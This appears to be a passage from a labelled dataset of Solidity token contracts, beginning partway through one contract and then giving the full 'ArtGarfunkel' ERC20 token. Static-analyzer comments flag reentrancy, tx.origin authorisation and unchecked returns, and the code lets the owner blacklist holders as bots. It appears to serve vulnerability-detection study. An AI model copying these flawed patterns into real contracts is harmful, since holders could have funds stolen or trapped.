Recommendation for 8964a9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ce75270\n\t\t// reentrancy-benign | ID: 8964a9e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ce75270\n\t\t// reentrancy-benign | ID: 8964a9e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4c5169e): DONE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4c5169e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8964a9e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ce75270\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e56016e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e56016e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: e5bcc3c): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for e5bcc3c: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 57c1723): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 57c1723: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: e5bcc3c\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e56016e\n\t\t\t\t// reentrancy-eth | ID: 57c1723\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e56016e\n\t\t\t\t\t// reentrancy-eth | ID: 57c1723\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 57c1723\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 57c1723\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 57c1723\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e56016e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 57c1723\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 57c1723\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e56016e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e56016e\n\t\t// reentrancy-events | ID: ce75270\n\t\t// reentrancy-benign | ID: 8964a9e\n\t\t// reentrancy-eth | ID: 57c1723\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4e44127): DONE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4e44127: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e56016e\n\t\t// reentrancy-events | ID: ce75270\n\t\t// reentrancy-eth | ID: 57c1723\n\t\t// arbitrary-send-eth | ID: 4e44127\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c74d4d3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c74d4d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3ae37df): DONE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3ae37df: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 822aa72): DONE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 822aa72: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d245097): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d245097: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c74d4d3\n\t\t// reentrancy-eth | ID: d245097\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c74d4d3\n\t\t// unused-return | ID: 3ae37df\n\t\t// reentrancy-eth | ID: d245097\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c74d4d3\n\t\t// unused-return | ID: 822aa72\n\t\t// reentrancy-eth | ID: d245097\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c74d4d3\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d245097\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: c74d4d3\n transferDelayEnabled = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10806.sol",
"size_bytes": 21434,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ArtGarfunkel is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9286a16): ArtGarfunkel._taxWallet should be immutable \n\t// Recommendation for 9286a16: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: bd5283f): ArtGarfunkel._initialBuyTax should be constant \n\t// Recommendation for bd5283f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10d1e09): ArtGarfunkel._initialSellTax should be constant \n\t// Recommendation for 10d1e09: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 917875b): ArtGarfunkel._reduceBuyTaxAt should be constant \n\t// Recommendation for 917875b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: cbb099b): ArtGarfunkel._reduceSellTaxAt should be constant \n\t// Recommendation for cbb099b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: bd031c8): ArtGarfunkel._preventSwapBefore should be constant \n\t// Recommendation for bd031c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Art Garfunkel\";\n\n string private constant _symbol = unicode\"GARFUNKEL\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d11ae27): ArtGarfunkel._taxSwapThreshold should be constant \n\t// Recommendation for d11ae27: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 00fcd12): ArtGarfunkel._maxTaxSwap should be constant \n\t// Recommendation for 00fcd12: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x06617b07086c975ba8171cDDaABCdcB9DBEE07EC);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 37c976d): ArtGarfunkel.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 37c976d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2b090dc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2b090dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 749b3c8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 749b3c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2b090dc\n\t\t// reentrancy-benign | ID: 749b3c8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2b090dc\n\t\t// reentrancy-benign | ID: 749b3c8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8aae7c5): ArtGarfunkel._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8aae7c5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 749b3c8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2b090dc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c697981): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c697981: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c8f39d5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c8f39d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c697981\n\t\t\t\t// reentrancy-eth | ID: c8f39d5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c697981\n\t\t\t\t\t// reentrancy-eth | ID: c8f39d5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: c8f39d5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: c8f39d5\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c8f39d5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c697981\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: c8f39d5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: c8f39d5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c697981\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2b090dc\n\t\t// reentrancy-events | ID: c697981\n\t\t// reentrancy-benign | ID: 749b3c8\n\t\t// reentrancy-eth | ID: c8f39d5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2b090dc\n\t\t// reentrancy-events | ID: c697981\n\t\t// reentrancy-eth | ID: c8f39d5\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3f22148): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3f22148: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cf4e6bd): ArtGarfunkel.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for cf4e6bd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4c77219): ArtGarfunkel.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4c77219: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ab40635): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ab40635: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3f22148\n\t\t// reentrancy-eth | ID: ab40635\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3f22148\n\t\t// unused-return | ID: cf4e6bd\n\t\t// reentrancy-eth | ID: ab40635\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3f22148\n\t\t// unused-return | ID: 4c77219\n\t\t// reentrancy-eth | ID: ab40635\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 3f22148\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ab40635\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10807.sol",
"size_bytes": 19963,
"vulnerability": 4
} |
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